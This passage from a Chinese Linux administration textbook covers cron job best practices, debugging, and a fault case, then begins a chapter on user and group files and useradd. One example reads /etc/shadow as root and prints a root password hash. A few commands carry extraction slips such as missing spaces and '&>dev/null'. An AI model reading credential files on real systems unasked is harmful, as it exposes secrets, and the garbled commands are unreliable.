如果定时任务计划直接使用Linux命令执行，不但看着不规范，而且也很容易出错，特别是带系统时间变量（如果含有“%”，则必须要转义，即“\%”）的任务命令，如果能以文件的形式书写，则可以减少很多潜在的错误，并提升效率、规范，这是一个好习惯。在定时任务中执行命令也会有一些限制，如时间变量问题，多个重定向命令混用问题等，示例代码如下：
 


[root@oldboy scripts]# crontab -l

#backup site dir by oldboy at 201805 

00 00 * * * /bin/sh /server/scripts/bak.sh >/dev/null 2>&1 #<==写成脚本文件执行最佳。

[root@oldboy scripts]# cat bak.sh  #<==脚本文件内容如下。

cd /var/www/&&\

/bin/tar zcf /data/bak_$（date +%F）.tar.gz ./html




 
13.5.3　要领3：在执行的Shell脚本前加上/bin/sh
 
要确保Cron对应的执行者有访问Shell脚本所在目录的权限，并且可执行该Shell脚本（可用chmod和chown修改脚本权限和所有者）。当然，最佳方法是在要执行的任务脚本前加上/bin/sh，然后执行，否则就有可能会因为忘了为脚本设定执行权限，而无法完成当次任务执行计划。本条要领是一个经验型的好习惯。执行其他语言的脚本也要加上对应语言的解释器，以下是相应的执行方法示例。
 
规范的Shell脚本定时任务执行方法：/bin/sh/server/scripts/bak.sh
 
规范的Perl脚本定时任务执行方法：/usr/bin/perl/server/scripts/bak.sh
 
规范的Python脚本定时任务执行方法：/usr/bin/python/server/scripts/bak.py
 
13.5.4　要领4：定时任务中在命令或脚本的结尾加上>/dev/null 2>&1
 
定时任务（一般是脚本任务）规则的结尾最好加上“>/dev/null 2>&1”，如果需要打印日志，则可以追加到指定的日志文件里（此时不要与/dev/null同时存在），总之，定时任务计划脚本的结尾尽量不要留空。因为在默认情况下，定时任务每一次执行完毕之后，都会向对应的用户发邮件，如果不加将输出（正确或错误）定向到空的内容（>/dev/null 2>&1），则可能会由于系统未开启邮件服务而导致邮件临时目录文件数猛增的隐患发生，大量小文件占用磁盘Inode节点数量（每个文件占一个Inode），以致磁盘Inode写满而无法再写入正常数据（故障提示：no space left on device.）的故障发生。
 
在CentOS5下，小文件过多的目录一般为sendmail临时邮件文件目录/var/spool/clientmqueue，而CentOS 6下则是postfix临时队列目录/var/spool/postfix/maildrop/。
 
在“>/dev/null 2>&1”中，“>”表示重定向，“/dev/null”为特殊的字符设备文件，表示黑洞设备或空设备。“2>&1”表示让标准错误和标准输出一样，本命令的意思是将前面脚本的正常和错误输出都重定向到/dev/null，也就是什么都不输出。
 
下面三种让标准错误和标准输出都重定向到空的写法是等价的：
 


>/dev/null 2>&1 等价于 1>/dev/null  2>/dev/null 等价于 &>dev/null




 
13.5.5　要领5：在指定用户下执行相关定时任务
 
需要root权限执行的任务可以登录到root用户下然后进行设置，如果执行任务不需要root权限，则可以登录到普通用户下（也可以直接在root下通过命令crontab-u oldboy-e直接设置）进行设置。这里需要特别注意不同用户的环境变量问题，如果是调用了系统环境变量，例如/etc/profile等文件下的变量（如生产场景中Java程序的定时任务计划），那么最好是在程序脚本中将用到的环境变量重新export下（下文有案例）。
 
13.5.6　要领6：生产任务计划程序中不要随意打印输出信息
 
在开发定时任务程序或脚本时，调试好脚本程序之后，应尽量将Debug及命令输出的内容信息屏蔽掉，如果确实需要输出日志，则可定向到指定的日志文件里，以避免随意输出不做重定向，从而导致系统垃圾的产生。
 
例如，有的读者打包时喜欢用tar命令的zcvf这几个参数。其中的v参数就是用于查看打包信息的。在做定时任务计划时，命令里就不要再带这个参数了。
 
13.5.7　要领7：定时任务执行的脚本要存放到规范路径下
 
定时任务执行的脚本要存放到规范路径下，其实，系统中所有的脚本存放都要有规范，这里推荐统一使用/server/scripts作为脚本的存放路径。
 
13.5.8　要领8：配置定时任务要规范操作过程，减少出错
 
配置定时任务时，规范的操作过程具体如下。
 
1）尽量先在命令行测试成功，然后将成功的命令复制到脚本里，新手要在各个细小环节减少出错的机会。
 
2）然后执行测试脚本，测试成功后，将执行脚本的命令完整复制到定时任务配置里，尽量做到少手动输入命令。
 
3）先在测试环境下进行测试，然后在正式环境下规范部署。
 
4）要有检验任务是否正确执行的手段，例如，检查/var/log/cron日志文件，如果任务执行计划频率较低，也要想法确保任务的可执行性，此处可见下文调试定时任务的技巧。
 
13.5.9　要领9：定时任务脚本中程序命令及路径尽量使用全路径
 
定时任务脚本中，程序命令及路径应尽量使用全路径，这是个防止定时任务执行错误的好习惯，否则可能会导致命令行操作命令及执行脚本是正常的，但是放到定时任务中却无法正确执行的问题。当然，对于命令，除了写全路径之外，还可以在脚本中重新定义PATH环境变量，示例代码如下：
 


[root@oldboy scripts]# crontab -l

#backup site dir by oldboy at 201805 

00 00 * * * /bin/sh /server/scripts/bak.sh >/dev/null 2>&1 #<==/bin/sh命令使用全路径。

[root@oldboy scripts]# cat bak.sh  #<==任务脚本内容如下。

cd /var/www/&&\

/bin/tar zcf /data/bak_$（date +%F）.tar.gz ./html #<==/bin/tar备份命令使用全路径。




 
重新定义PATH环境变量的方法如下：
 


[root@oldboy scripts]# echo $PATH  #<==打印输出，根据输出选择路径进行重新定义。

/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin

[root@oldboy scripts]# cat bak.sh  #<==脚本内容如下。

export PATH='/sbin:/bin:/usr/sbin:/usr/bin' #<=重新定义环境变量，包含脚本中所有执行命令所在的路径。

cd /var/www/&&\

tar zcf /data/bak_$（date +%F）.tar.gz ./html #<==这里可以取消全路径了。




 
13.5.10　要领10：时间变量%号要使用反斜线转义
 
“%”号在Cron任务配置中被认为是newline，需要要用“\”来转义。使用crontab编辑任务时，如果有类似于“date+%F”的时间变量，则必须做如下转义“date+\%F”，但是如果是在脚本中编写，那么“%”就不需要转义了。这也是笔者推荐定时任务使用脚本文件来执行的原因之一，定时任务使用命令执行时，执行命令中带有时间变量的写法（不建议使用此法）示例如下：
 


#tar comment by oldboy at 201805

*/1 * * * * tar zcf /data/bak_$（date +\%F）.tar.gz /var/www/html &>/dev/null




 
13.5.11　要领11：若脚本中调用了系统环境变量，则要重新定义
 
crontab执行Shell等脚本时只能识别很少的系统环境变量，用户在/etc/profile等文件中定义的普通变量一般是无法被定时任务服务识别的，如果在编写的脚本中需要使用这些环境变量，那么最好是使用export重新声明下该变量，这样脚本才能正常执行。
 
例如，在调试Java程序任务计划的时候，需要多注意环境变量的问题，务必要将环境变量的定义加到定时任务计划脚本里。Task.sh的作用是执行Java相关的程序，这里需要在脚本中重新定义相关的环境变量，示例代码如下：
 


[root@oldboy ~]# cat /scripts/resin/shell/Task.sh

#!/bin/bash

export JAVA_HOME=/application/jdk1.6  #<==如下三行是安装Java相关环境需要的特殊变量。

export PATH=$JAVA_HOME/bin:$PATH

export SH_HOME=/application/resin/webapps/ROOT/

export LIB=$SH_HOME/WEB-INF/lib

...省略部分...




 
定时任务的配置结果如下：
 


#JAVA Shell by oldboy 201007

00 9,14 * * * nohup /scripts/resin/shell/Task.sh & >/app/log.log 2>&1




13.6　调试Cron定时任务的技巧总结
 
13.6.1　增加执行任务的频率以调试任务
 
在调试时，将任务执行频率调快一点，例如，每天执行的任务，可以改为每分钟、每5分钟执行一次，或者以当前时间为准，推迟5分钟以后，看能否执行，而且是不是按照你想要的去执行。如果正常没问题了，那么再改成需要的任务的执行时间。
 
需要强调一点的是，有些计划任务是不允许频繁执行的。例如，定时向数据库里插入数据，这样的任务就要在测试机上先测试好，然后再部署到正式线上，这样正式工作时出问题的机率就少了。
 
专业、规范的公司开发和运维人员配置服务器的操作流程至少是：办公室测试环境→IDC机房测试环境→IDC机房正式环境，在不同的环境上测试成功，再到更高级的环境是保障操作人员在正式环境下不出错的关键。
 
13.6.2　调整系统时间调试任务（不能用于生产环境）
 
用正确的执行任务的时间测试完成以后，即可修改系统的当前时间，改成任务执行时间的前几分钟来进行测试（或者重启定时任务服务）。例如，定时任务于9：00执行，那么我们可以将系统时间改成8：55分，然后观察是不是正确执行了，当前时间比任务时间建议提前3分钟以上，否则可能就不会执行，如果是生产环境服务器，则尽量不要修改时间测试，在测试环境下才可以使用这个手段。例如，若是要在周三的2：00执行，则可以将系统时间调整为周三凌晨1：55分查看执行结果。
 
13.6.3　通过脚本日志输出调试定时任务
 
要输出调试定时任务，可在脚本中加入日志输出，然后将输出打印到指定的日志中，并观察日志内容结果，以查看是否执行或正确执行。或者像下面一样，将脚本结果定向到一个log文件里。这里使用重定向符号“>”即可，不需要使用“>>”符号，这样日志就不会一直变大，如/app/log.log。示例代码如下：
 


#study task by oldboy at 20121213

00 9,14 * * 6,0 /bin/sh /server/scripts/oldboy.sh >/app/log.log 2>&1




 
[image: ]提示：对于不好查看执行结果的定时任务计划可以这样调试。
 
也可以在脚本命令中通过参数打印信息输出，然后将输出重定向到指定的文件，示例代码如下：
 


[root@oldboy scripts]## cat tar.sh

cd /

tar zcvf /tmp/etc_$（date +%F）.tar.gz ./etc >/tmp/tmp.log 2>&1 #<==加v参数，结尾重定向到文件。




 
13.6.4　通过Crond定时任务服务日志调试定时任务
 
查看定时任务服务的日志，可以发现执行的以及不能执行的任务问题所在，示例日志信息如下：
 


[root@oldboy scripts]# tail -f /var/log/cron

Nov 10 11:40:01 oldboy crond[2605]: （root）CMD （echo "==" >> /tmp/oldboy.log >/dev/null 2>&1）

Nov 10 11:40:01 oldboy crond[2608]: （root）CMD （/usr/sbin/ntpdate pool.ntp.org >/dev/null 2>&1）

Nov 10 11:41:01 oldboy crond[2615]: （root）CMD （/bin/sh /server/scripts/echo.sh >/dev/null 2>&1  #print date）

Nov 10 11:42:01 oldboy crond[2625]: （root）CMD （/bin/sh /server/scripts/echo.sh >/dev/null 2>&1  #print date）

Nov 10 11:42:01 oldboy crond[2627]: （root）CMD （echo "==" >> /tmp/oldboy.log >/dev/null 2>&1）

Nov 10 11:42:01 oldboy crond[2628]: （root）CMD （echo + >> /tmp/oldboy.log）

tar.gz ./html




13.7　crontab生产案例故障分析及解决
 
13.7.1　No space left on device常见企业故障案例
 
1.故障描述及说明
 
工作中可能会出现这样的问题：在保存设置定时任务的规则时，系统提示“No space left on device”，此时用df-h命令检查磁盘，发现还有剩余空间，再用df-i命令检查则显示Inode已被100%占用了，导致系统无法在/var目录下创建文件。因为定时任务配置在/var/spool/cron下，在ext3、ext4文件系统中，每个文件至少要占用一个Inode（前文已讲，此处不再赘述）。
 
最后，经过检查发现在/var/spool/clientmqueue/下有大量的小文件，执行ls/var/spool/clientmqueue命令查看，很长时间都没能显示出结果，执行cd/var/spool/clientm-queue；rm-f*命令则会自动跳出来，无法实现删除。最后的解决方法是使用命令cd/var/spool/clientmqueue&&ls|xargs rm-f进行清理。
 
在清理时，如果文件的数量特别多，那么执行ls|xargs rm-f命令也会长时间无反应，不要着急，这是命令正在处理中的正常表现。当然，我们也可以使用更快的删除方法，如直接使用cd/var/spool&&rm-fr clientmqueue删除上级目录，然后执行如下命令：
 


mkdir clientmqueue && chmod 770 clientmqueue && chown smmsp.smmsp -R /var/spool/clientmqueue




 
修改回/var/spool/clientmqueue目录在系统中原有的默认权限：
 


[root@admin-3-3 ~]# ls -ld /var/spool/clientmqueue/

drwxrwx--- 2 smmsp smmsp 4096 12-12 13:46 /var/spool/clientmqueue/




 
2.故障原因分析
 
当系统中Crond定时任务执行的程序包含输出内容时，输出内容会以邮件的形式发回给执行任务的用户（默认是root），而sendmail、postfix等mail服务没有启动时，这些输出内容就会在邮件队列临时目录中产生大量很小的文件，导致消耗大量的Inode和block数量（在ext文件系统中，默认情况下格式化block的数量会远大于Inode的数量），一旦Inode数量耗尽，就会导致系统无法写入文件而报出上述错误“No space left on device”。
 
[image: ]提示：上述为CentOS5系统中的故障案例，同样适合于CentOS6、CentOS7，只是后两者小文件多的路径改为postfix的临时邮件队列目录了。
 
3.预防方法
 
1）尽量在Cron任务中的命令或脚本中的命令的结尾加上“>/dev/null 2>&1”，或者在写定时执行脚本时，将输出定向到指定文件中（适合于所有情况）。
 
2）当然也可以开启邮件服务，不过最好不做，因为邮件服务会带来额外的安全问题。
 
3）添加定时清理任务，比如，将find/var/spool/clientmqueue/-type f-mtime+30|xargs rm-f放入定时任务，每周处理一次（适合于CentOS5），如果是CentOS6或CentOS7，则处理的路径为/var/spool/postfix/maildrop/。
 
13.7.2　Crond export变量生产案例
 
曾有网友在生产环境下碰到了问题，笔者为其解答后，他针对该案例进行了总结，一起来看看。
 
编写一个重启resin的脚本，由于业务原因，需要在某一个时间定时重启一次resin服务器，于是就在Cron里面配置了如下内容：
 


50 17 * * 1-5 root /usr/local/bin/resin_restart.sh




 
其中，resin_restart.sh的内容具体如下：
 


#!/bin/sh

/usr/local/bin/xxresin_stop.sh

/usr/local/bin/xxresin_start.sh




 
现在问题来了，服务器虽然定时重启了，但是系统却报出了如下错误：
 


Resin can't load com.sun.tools.javac.Main.  Usually this means that the JDK tools.jar is missing from the classpath, 

possibly because of using a JRE instead of the JDK.  

You can either add tools.jar to the classpath or change the compiler to an external one with <java compiler='javac'/> or jikes.




 
为什么已经在profile里配置了环境变量，却还是找不到呢？
 
后来，在QQ交流群385168604中找到了热心的老男孩教育在线的老师，并请教，得到的回答是：这是因为export变量问题而导致的。
 
具体原因为Crond执行Shell时只能识别为数不多的系统环境变量，普通环境变量一般是无法识别的，如果在编写的脚本中需要使用变量，那么最好是使用export重新声明下该变量，以确保脚本能够正确执行。以后要将这一点做为一个开发的基本规范。
 
然后再在resin重启脚本里重新定义了一下环境变量，脚本如下：
 


#!/bin/sh




 
下面就是环境变量的具体定义：
 


JAVA_HOME="/opt/jdk1.6.0_18"

CLASSPATH=$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

PATH=$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:/opt/nginx-0.7.61/sbin:/opt/jdk1.6.0_18/bin:/opt/resin-3.0.25/bin:$PATH

export JAVA_HOME PATH USER LOGNAME MAIL HOSTNAME HISTSIZE INPUTRC CLASSPATH

/usr/local/bin/xxresin_stop.sh

/usr/local/bin/xxresin_start.sh




 
经过测试，修改后的定时任务可以顺利重启，问题解决完毕。
 
上述问题的相关内容发表于：http://oldboy.blog.51cto.com/2561410/1541515

13.8　有关Cron定时任务的企业面试题
 
1）在每周6的凌晨3：15执行一次/home/shell/collect.pl，并将标准输出和标准错误输出到/dev/null设备，请写出crontab中的语句。
 
2）crontab在11月份内，每天的早上6点到中午12点之间，每隔2小时执行一次/usr/bin/httpd.sh，如何实现？
 
3）crontab文件由六个域组成，每个域之间用空格进行分割，其排列正确的为下面哪一项（）。
 
A、MIN HOUR DAY MONTH YEAR COMMAND
 
B、MIN HOUR DAY MONTH DAYOFWEEK COMMAND
 
C、COMMAND HOUR DAY MONTH DAYOFWEEK
 
D、COMMAND YEAR MONTH DAY HOUR MIN
13.9　定时任务知识逻辑图（学习方法）
 
学习方法、学习能力的提高，远大于学到的知识，下面就来分享下老男孩Linux课程学员总结的定时任务知识逻辑图，如图13-3所示。
 
通过图13-3，我们可以清晰了解定时任务的编写及调试前后的相关知识，这个方法值得所有读者学习。
13.10　本章重点
 
1）定时任务的时间及特殊字符书写语法。
 
2）编写定时任务的众多要领，都是规范。
 
3）两个企业故障案例总结。
 
4）调试Cron定时任务技巧总结。
 
 
 [image: ] 


图13-3　定时任务知识逻辑图
第14章　Linux用户管理知识与应用实践
 
在第9章中，我们已经对Linux的用户和用户组知识做了一个基本的介绍，知道了Linux是一个多用户、多任务的操作系统，以及Linux系统中用户的角色分类、不同类用户对应UID取值范围等重要知识，本章将深入讲解用户管理的知识，并带领读者实践Linux运维中有关用户管理的工作。
 
需要声明的是，在一些书籍和参考资料中，对用户的描述有很多同义词（例如，用户、账号），为方便起见，本书统一称为用户。
14.1　用户及用户组配置文件介绍
 
在Linux系统中创建、增加，以及删除用户和用户组，实际上都是修改系统中对应的文件，因此有必要熟悉一下与用户和用户组相关的重要文件知识。
 
在Linux系统中，与用户和用户组直接相关的文件主要有/etc/passwd、/etc/shadow、/etc/group、/etc/gshadow这四个文件，下面分别详细阐述。
 
14.1.1　Linux系统用户相关的配置文件
 
在Linux系统中，与用户相关的配置文件主要包含如下两个：
 


/etc/passwd  #<==存储用户信息的文件。

/etc/shadow  #<==存储用户密码信息的文件。




 
1.存储用户信息的文件/etc/passwd
 
/etc/passwd文件是Linux中的重要系统文件之一，主要作用是存储系统用户的信息，文件中的每一行表示一个用户信息，有多少行就表示存在多少个用户信息，仔细观察其中的一行，可以清晰地看出，各内容之间通过“：”号划分成了多个字段，共7部分，这7部分分别定义了用户的不同属性，/etc/passwd文件的实际内容具体如下：
 


[root@oldboy ~]# head -5 /etc/passwd  #<==通过head命令查看/etc/passwd的前5行。

root:x:0:0:root:/root:/bin/bash

bin:x:1:1:bin:/bin:/sbin/nologin

daemon:x:2:2:daemon:/sbin:/sbin/nologin

adm:x:3:4:adm:/var/adm:/sbin/nologin

lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin

...省略其他...




 
[image: ]提示：passwd文件中有很多虚拟用户，如bin、daemon等，一般来说，这些用户都是系统正常运行所需要的，在不确定的情况下，请不要随意删改此类用户。
 
在passwd文件中，第一行的内容就是超级用户root所在的行，我们可以看到它的UID和GID都为0，为了让读者能够清晰地了解passwd文件中内容的含义，笔者特意列举了表14-1和表14-2，供读者学习参考。
 
表14-1　以passwd文件中root一行为例介绍各个字段的作用

 
 [image: ]

 
表14-2　对passwd文件中每一行各个字段的详细说明

 
 [image: ]

 
下面来看一下/etc/passwd文件的权限：
 


[root@oldboy ~]# ls -l /etc/passwd

-rw-r--r--. 1 root root 1214 Apr 30 20:41 /etc/passwd #<==所有用户都有读的权限。




 
因为每个用户登录时都需要取得UID与GID来判断权限，所以/etc/passwd文件的权限为644，但这样一来就会带来安全问题，即所有的用户都可以读/etc/passwd文件。即使文件内的密码是加密的，也还是存在一定的被攻击破解的安全隐患。因此，后来就将密码的信息移动到/etc/shadow文件了。
 
2.存储用户密码信息的文件/etc/shadow
 
前面提到了，由于passwd文件必须要被所有的用户读取，所以会带来安全隐患。而shadow文件就是为了解决这个安全隐患而增加的。下面我们来看一下/etc/shadow文件的权限：
 


[root@oldboy ~]# ls -l /etc/shadow

---------- 1 root root 681 Mar 30 08:59 /etc/shadow #<==理论上所有用户都没有权限。




 
可以发现，/etc/shadow的权限属性位置都是“-”，即所有用户都不可读（不包含root），其文件内容具体如下：
 


[root@oldboy ~]# head -5 /etc/shadow #<==通过head命令查看/etc/shadow的前5行。

root:$6$xTyEY0ruiSVt6yVU$DDkAYnnhWdX3Ks0zH4ENQHmN35/2SB7Hrt9MdDYi7W9zoyvFLxgRT73tdRptiKvZedoVdRD9CBzCKWYYnhdxQ/:17598:0:99999:7:::  #<==一长串特殊字符是

                                             设置了密码以后加                                                  密的数据信息。

bin:*:17246:0:99999:7:::

daemon:*:17246:0:99999:7:::

adm:*:17246:0:99999:7:::

lp:*:17246:0:99999:7:::




 
与/etc/passwd文件一样，shadow文件中的每一行内容，也是以冒号（：）作为分隔符的，共包含9个字段，其各个字段的意义如表14-3所示。
 
表14-3　shadow文件中每一行各个字段的详细说明

 
 [image: ]

 
[image: ]提示：
 
·使用useradd命令添加用户会更改/etc/passwd、/etc/shadow、/etc/group、/etc/gshadow。

·使用passwd或chpasswd为用户设置密码会更改/etc/shadow。
 
14.1.2　Linux系统用户组相关的配置文件
 
在Linux系统中，与用户组直接相关的主要配置文件也有两个：
 


/etc/group     #<==用户组信息文件。

/etc/gshadow   #<==用户组密码信息文件。




 
1.存储用户组信息的文件/etc/group
 
/etc/group文件是存储用户组相关信息的文件，内容包括用户组名称、用户组GID等属性。/etc/group文件与/etc/passwd文件的权限相同，也是644，示例代码具体如下：
 


[root@oldboy ~]# ls -l /etc/group 

-rw-r--r--. 1 root root 652 Apr 30 20:42 /etc/group




 
/etc/group文件的实际内容格式具体如下：
 


[root@oldboy ~]# head -5 /etc/group

root:x:0:

bin:x:1:bin,daemon

daemon:x:2:bin,daemon

sys:x:3:bin,adm

adm:x:4:adm,daemon

...省略部分...




 
/etc/group文件中每一行的内容也是使用冒号进行分隔的，表14-4是有关group文件的每一行中各个字段的详细说明。
 
表14-4　group文件中每一行各个字段的详细说明
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[image: ]提示：使用groupadd添加用户组会更改/etc/group、/etc/gshadow。
 
2.存储用户组密码的文件/etc/gshadow
 
/etc/gshadow是存储用户组密码信息的文件，比如，用户组管理密码就存放在这个文件中。/etc/gshadow和/etc/group是两个互补的文件；早期对于大型服务器，针对很多用户和用户组，定制一些关系结构比较复杂的权限模型，可以选择设置用户组密码。比如，如果不想让一些非用户组成员永久拥有用户组的权限和特性，那么可以通过密码验证的方式来让某些用户临时拥有一些用户组特性，这时就要用到用户组密码了，在实际运维工作中，一般是用不到这个功能的，因此读者了解一下本节内容就行了。
 
/etc/gshadow文件权限及内容格式如下，每个用户组独占一行；
 


[root@oldboy ~]# ls -l /etc/gshadow

----------. 1 root root 530 Apr 30 20:42 /etc/gshadow

[root@oldboy ~]# head -5 /etc/gshadow

root:::

bin:::bin,daemon

daemon:::bin,daemon

sys:::bin,adm

adm:::adm,daemon

...省略部分...




 
gshadow文件中每一行的内容都是使用冒号进行分隔的，表14-5是有关gshadow文件的每一行中各个字段的详细说明。
 
表14-5　gshadow文件中每一行各个字段的详细说明
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[image: ]提示：有关用户组的两个配置文件都是非重要知识点，了解即可，不要在其上过多花费时间。
14.2　Linux用户及用户组命令介绍
 
在Linux系统中，与用户及用户组相关的系统命令有很多，在这里笔者仅对比较常用的命令做讲解，并给出重点，读者可以根据建议学习和掌握。
 
14.2.1　有关用户管理的常见命令汇总
 
表14-6中针对用户管理的常见命令进行了汇总，其中，带※的建议读者重点掌握，其余的命令了解即可。
 
表14-6　Linux系统中与用户管理相关的常用命令集合
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14.2.2　有关用户组管理的常见命令汇总
 
表14-7针对用户组管理的常见命令进行了汇总，同样，带※的建议读者重点掌握，其余的命令了解即可，一般用不到。
 
表14-7　Linux系统中与用户组管理相关的常用命令
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下文将为大家逐一讲解Linux系统中的常用用户和用户组管理的命令及知识。
14.3　添加用户命令useradd
 
14.3.1　useradd命令的工作原理
 
Linux系统中添加用户的命令有useradd和adduser，这两个命令的功能是一样的。当然除了useradd和adduser命令以外，我们还可以通过修改用户配置文件/etc/passwd和/etc/group等文件的办法来直接添加用户，不过笔者不推荐使用该方法。这里推荐大家统一使用useradd命令添加用户，本节也仅以useradd命令为例讲解添加用户的知识。
 
1.useradd命令的工作原理
 
当不带任何参数使用useradd命令添加用户时，首先会读取配置文件/etc/login.defs和/etc/default/useradd中预先定义的规则，并根据设置的规则添加用户，同时还会向/etc/passwd和/etc/group文件内添加新建的用户和用户组记录。当然，/etc/shadow和/etc/gshadow也会同步生成记录，同时系统还会根据/etc/default/useradd及/etc/login.defs文件中配置的信息建立用户的家目录，并复制/etc/skel中所有隐藏的环境配置文件到新用户的家目录中，以完成对用户环境的初始化设置。
 
2.与创建用户相关的文件/etc/login.defs
 
/etc/login.defs文件的作用是预先定义创建用户时需要的一些用户默认配置信息。如创建用户时，是否需要家目录，以及UID和GID的取值起始值及取值范围，用户及密码的有效期限等，完整功能请参见下文配置文件中的注释说明。
 
下面是/etc/logins.defs文件的内容及注释说明：
 


[root@oldboy ~]# cat /etc/login.defs 

...忽略若干注释行...

# *REQUIRED*

#   Directory where mailboxes reside, _or_ name of file, relative to the

#   home directory.  If you _do_ define both, MAIL_DIR takes precedence.

#   QMAIL_DIR is for Qmail

#QMAIL_DIR     Maildir

MAIL_DIR     /var/spool/mail       #<==设定用户对应的mail文件所在的路径。

#MAIL_FILE     .mail

# Password aging controls:

...忽略若干注释行...

PASS_MAX_DAYS   99999          #<==密码最长可以使用的天数。

PASS_MIN_DAYS   0               #<==更换密码的最小天数。

PASS_MIN_LEN    5               #<==密码的最小长度。

PASS_WARN_AGE   7               #<==密码失效之前提前多少天开始警告。

# Min/max values for automatic uid selection in useradd

UID_MIN          1000  #<==默认最小UID为1000，也就是说添加用户时，UID是从1000开始的。

UID_MAX            60000 #<==默认最大UID为60000。

# System accounts

SYS_UID_MIN               201

SYS_UID_MAX               999

# Min/max values for automatic gid selection in groupadd

GID_MIN               1000  #<==默认最小GID为1000，也就是说添加用户时，GID是从1000开始的。

GID_MAX           60000 #<==默认最大GID为60000。

# System accounts

SYS_GID_MIN               201

SYS_GID_MAX               999

# If defined, this command is run when removing a user.

# It should remove any at/cron/print jobs etc. owned by

# the user to be removed （passed as the first argument）.

#USERDEL_CMD     /usr/sbin/userdel_local #<==删除用户时，删除与用户相关的所有工作，默认关闭。

# If useradd should create home directories for users by default

# On RH systems, we do. This option is overridden with the -m flag on

# useradd command line.

CREATE_HOME     yes     #<==是否创建用户家目录，默认要求创建；可以用-m参数进行控制。

# The permission mask is initialized to this value. If not specified, 

# the permission mask will be initialized to 022.

UMASK           077         #<==家目录对应umask默认值。

# This enables userdel to remove user groups if no members exist.

#

USERGROUPS_ENAB yes         #<==删除用户同时删除用户组（如果用户组没有其他成员，则删除）。



# Use SHA512 to encrypt password.

ENCRYPT_METHOD SHA512       #<==密码加密算法SHA512。




 
[image: ]提示：上述内容是笔者在不影响阅读的情况下，针对源文件的格式进行了一定的调整而整理出来的。
 
3.与创建用户相关的文件/etc/default/useradd
 
/etc/default/useradd文件是在使用useradd添加用户时预先加载的默认用户信息配置文件，可以使用“useradd-D参数”修改此文件的配置（实践见后文），当然，也可以直接使用vim编辑器来修改文件里面的内容，下面就来看看它的内容，具体如下：
 


[root@oldboy ~]# cat /etc/default/useradd 

# useradd defaults file

GROUP=100          #<==依赖于/etc/login.defs的USERGROUPS_ENAB参数，如果为no，则此处控制。

HOME=/home        #<==在/home目录下创建用户的家目录。

INACTIVE=-1      #<==是否启用用户过期停权，-1表示不启用。

EXPIRE=             #<==用户终止日期，不设置表示不启用。

SHELL=/bin/bash       #<==新用户默认使用的Shell解释器类型。

SKEL=/etc/skel       #<==配置新用户家目录的默认环境变量文件的存放路径。当我们使用useradd添加用户时，用户家目录下的隐藏环境变量文件，都是从这里配置的/etc/skel目录中复制过去的。

CREATE_MAIL_SPOOL=yes  #<==创建mail文件。




 
4.与创建用户相关的目录/etc/skel
 
/etc/skel目录是用来存放新用户需要的所有基础环境变量文件的目录，当添加新用户时，这个目录下的所有文件都会被自动复制到新添加的用户的家目录下；默认情况下，/etc/skel目录下的所有文件都是隐藏文件（以点号开头的文件），通过修改、添加、删除/etc/skel目录下的环境变量文件，我们可为新创建的用户提供统一的、标准的、定制化的初始化用户环境。
 
下面来看下/etc/skel目录下的内容：
 


[root@oldboy ~]# ls -la /etc/skel/

-rw-r--r--.  1 root root   18 Mar 23  2017 .bash_logout  #<==用户环境变量文件，退出时加载。

-rw-r--r--.  1 root root  176 Mar 23  2017 .bash_profile #<==用户环境变量文件，登录时加载。

-rw-r--r--.  1 root root  124 Mar 23  2017 .bashrc      #<==用户环境变量文件，登录时加载。




 
了解了/etc/skel目录下的内容，再来看个企业面试案例。
 
范例14-1：使用oldboy用户登录到Linux系统后，发现提示符为如下所示的异常情况，请问如何恢复到正常的Linux命令行提示符情况？
 


-bash-4.1$ 

-bash-4.1$




 
解答：首先模拟故障重现，完整步骤如下。
 


[root@oldboy ~]# su - oldboy    #<==切换到oldboy用户下。

[oldboy@oldboy ~]$ rm -f .bash* #<==故障原因就是，用户家目录下的环境变量不存在了。

[oldboy@oldboy ~]$ logout       #<==可以按快捷键（Ctrl+D），退出当前环境。

[root@oldboy ~]# su - oldboy    #<==重新切换到oldboy用户下。

-bash-4.1$  #<==看到了吧，故障重现了，让故障重现也是运维人员的一项重要能力。




 
下面是故障恢复方案及步骤。
 
方法1：正解方法。
 


-bash-4.1$ cp /etc/skel/.bash* ~/ #<==从/etc/skel中将所有环境变量文件复制回来，注意当前用户。

-bash-4.1$ logout #<==可以按快捷键（Ctrl+D），退出当前环境。

[root@oldboy ~]# su - oldboy #<==重新切换到oldboy用户下。

[oldboy@oldboy ~]$ #<==故障排除了。




 
方法2：仅适合临时情况。
 


执行export PS1='[\u@\h \W]\$ '，PS1是控制Linux命令提示符的环境变量。




 
5.有关创建用户的工作原理总结
 
当不添加任何参数使用useradd添加用户时，默认配置就是读取/etc/default/useradd信息，并根据该文件的信息设定用户。这时，会从/etc/skel中复制用户需要的环境变量文件，同时还会读取/etc/login.defs，并根据该文件设定相关的默认信息。这是一个用户在创建过程中的实现过程，当然了，还可以加上参数选项以改变文件中的默认设定。
 
14.3.2　useradd命令的常用参数介绍
 
为了方便读者查看，这里用表格的方式将useradd的常用参数选项展现给大家，如表14-8所示。
 
表14-8　useradd命令常用参数一览表
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14.3.3　useradd添加用户命令的应用实践
 
范例14-2：不加任何参数，添加用户alex。
 
解答命令及步骤如下所示：
 


[root@oldboy ~]# useradd alex #<==添加用户alex。

[root@oldboy ~]# ls -ld /home/alex/ #<==在/home（在useradd文件中设定的）下，增加了以alex为目录的家目录（在/etc/login.defs中设定的）。

drwx------. 2 alex alex 4096 May  1 11:27 /home/alex/ #<==权限是700，/etc/login.defs中设定的。

[root@oldboy ~]# ls -al /home/alex/

total 20

drwx------.  2 alex alex 4096 May  1 11:27 .

drwxr-xr-x. 10 root root 4096 May  1 11:27 ..

-rw-r--r--.  1 alex alex   18 Mar 23  2017 .bash_logout #<==用户环境变量文件，来自/etc/skel。

-rw-r--r--.  1 alex alex  176 Mar 23  2017 .bash_profile #<==用户环境变量文件，来自/etc/skel。

-rw-r--r--.  1 alex alex  124 Mar 23  2017 .bashrc      #<==用户环境变量文件，来自/etc/skel。

[root@oldboy ~]# grep -w alex /etc/passwd #<==查看用户生成情况。

alex:x:506:508::/home/alex:/bin/bash




 
需要提醒的是，在添加用户alex的同时，还会添加与用户名相同的用户组alex。
 


[root@oldboy ~]# tail -1 /etc/group       #<==查看用户组的生成情况。

alex:x:508:

